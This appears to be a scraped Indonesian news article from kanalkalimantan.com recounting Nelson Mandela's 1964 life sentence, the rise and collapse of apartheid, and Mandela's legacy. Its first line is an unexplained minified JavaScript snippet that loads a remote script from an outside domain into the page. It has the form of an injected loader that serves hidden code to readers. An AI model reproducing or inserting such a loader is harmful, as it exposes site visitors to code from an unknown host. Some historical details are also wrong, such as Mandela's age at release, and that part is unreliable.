(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Hari ini, 12 Juni 1964 hakim Quartus de Wet menetapkan empat tuduhan kepada Mandela dan dua terdakwa dan menjatuhkan vonis penjara seumur hidup. Pengadilan ini mendapat perhatian internasional; banyak pihak di seluruh dunia meminta pembebasan para terdakwa, termasuk Perserikatan Bangsa-Bangsa dan World Peace Council. University of London Union menyerukan agar Mandela menjadi presiden dan misa malam untuknya diadakan di St. Paul’s Cathedral, London.
Mandela dan rekan-rekannya dituduh empat kali melakukan sabotase dan konspirasi untuk menggulingkan pemerintah. Kepala jaksa penuntut Percy Yutar menuntut mereka dihukum mati. Hakim Quartus de Wet menutup kasus jaksa dengan alasan bukti tidak cukup, tetapi Yutar menyusun ulang tuntutannya dan mengajukan kasus baru sejak Desember sampai Februari 1964 dengan melibatkan 173 saksi mata dan ribuan dokumen dan foto.
Lahirnya Apartheid
Tahun 1930 di Jerman Hendrik Verwoerd, seorang pria kulit putih mengenal paham nasionalsosialisme dan terpengaruh kuat ideologi rasisme yang dilancarkan NAZI. Ia kemudian melahirkan gagasan apartheid dalam kolonialisme.
Orang-orang berkulit putih seperti Verwoerd memandang dirinya sebagai anggota kaum elit di benua hitam tersebut. Verwoerd dan partai nasionalisnya mendefinisikan apartheid sebagai perkembangan terpisah, antara kelompok yang diistimewakan dan yang dianggap lebih rendah.
Pemisahan ras itu menentukan tata kehidupan secara umum. Di tempat-tempat umum ditetapkan peraturan ketat pemisahan antara kaum kulit putih dan tidak berkulit putih. Pernikahan campuran dilarang. Dengan Group Areas Act tahun 1950 dilakukan pemisahan kawasan tempat tinggal. Pendidikan dan lapangan kerja juga diatur berdasarkan ras. Di luar homelands kaum berkulit hitam harus selalu membawa paspor.
Lahirnya Anti Apartheid
Akibat penekanan dan rasialisme, muncul gerakan protes yang diorganisir Kongres Nasional Afrika (ANC), yang kemudian menjadi sebuah gerakan massal.
Adalah pengacara muda Nelson Mandela, yang kemudian menjadi ketua ANC. Tahun 1960 di selatan Johannesburg 20 ribu warga kulit hitam tanpa paspor menyerbu pos polisi, membiarkan dirinya ditangkap pihak berwenang. Demonstrasi itu berakhir dengan pembunuhan massal.
ANC kemudian dilarang. Nelson Mandela melakukan perlawanan bersenjata dalam gerakan bawah tanah, dengan menyerang pusat-pusat industri. Tahun 1964 jajaran pimpinan gerakan bawah itu ditangkap. Nelson Mandela dan Walter Sisulu dikenai tahanan seumur hidup. Di pengadilan Mandela menekankan ia bersedia mati untuk visinya.
Runtuhnya Apartheid
Dengan penerapan sistem apartheid Afrika Selatan semakin diisolasi masyarakat internasional. Sanksi perdagangan dan politik keuangan pada akhir 1980-an menyulitkan pemerintah nasionalis. Tekanan dari protes di jalanan, larangan mengikuti kejuaraan dunia serta pertandingan olimpiade menyebabkan pemerintah dari Frederik Willem De Klerk akhirnya melakukan perundingan dengan Kongres Nasional Afrika, ANC dengan syarat berakhirnya kekerasan tersebut.
Dalam pidato di parlemen tahun 1990 Presiden De Klerk mengumumkan reformasi serta berakhirnya pengasingan para aktivis. Nelson Mandela dibebaskan 11 Februari 1990 dalam usia 74 tahun, setelah ditahan 27 tahun. Ia berhasil melalui masa penahanan tersebut karena tidak ragu akan misinya.
Ia lalu menerima Nobel Perdamaian bersama dengan De Klerk. Tahun 1994 berlangsung pemilu yang bebas dan adil untuk pertama kalinya di Afrika Selatan. Mandela terpilih sebagai presiden kulit hitam pertama. Pemerintahnya mengakhiri sistem apartheid dan merintis rekonsiliasi nasional.
Seorang Madiba (Kepala Suku) Bernama Mandela
Nelson Mandela adalah figur martir abad 20. Ia adalah satu dari sekian banyak sosok yang berdiri sejajar dengan Galileo dan Copernicus, para penentang otoritas yang opresif dan sewenang-wenang. Mereka yang rela dipenjara hingga berkorban nyawa demi memperjuangkan kebenaran.
Dalam sebuah buku yang ia tulis, Long Walk to Freedom (1994), Mandela mengungkapkan, “Saya telah berjalan jauh untuk menggapai kebebasan. Dan saya menemukan rahasia setelah mendaki sebuah bukit besar. Ternyata masih ada banyak bukit yang harus didaki.”
Perjuangan yang diinisiasi oleh Mandela memang masih jauh dari kata selesai. Dunia ideal yang “bebas diskriminasi, di mana setiap orang hidup bersama secara harmonis” masih akan jadi utopia semata selama dalam benak dan hati manusia masih ditumbuhi sentimen rasial berbasis SARA, kebencian pada kelompok yang berbeda tanpa niat untuk memahami, dan tak lupa, absolutisme sempit, yang menganggap diri dan kelompok adalah kebenaran absolut.
Mandela adalah sebuah gagasan tentang negara ideal. Negara yang adil dan tanpa diskriminasi terhadap alasan apapun. Sama di mata negara dan di mata hukum.(kanalkalimantan.com/andy)
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.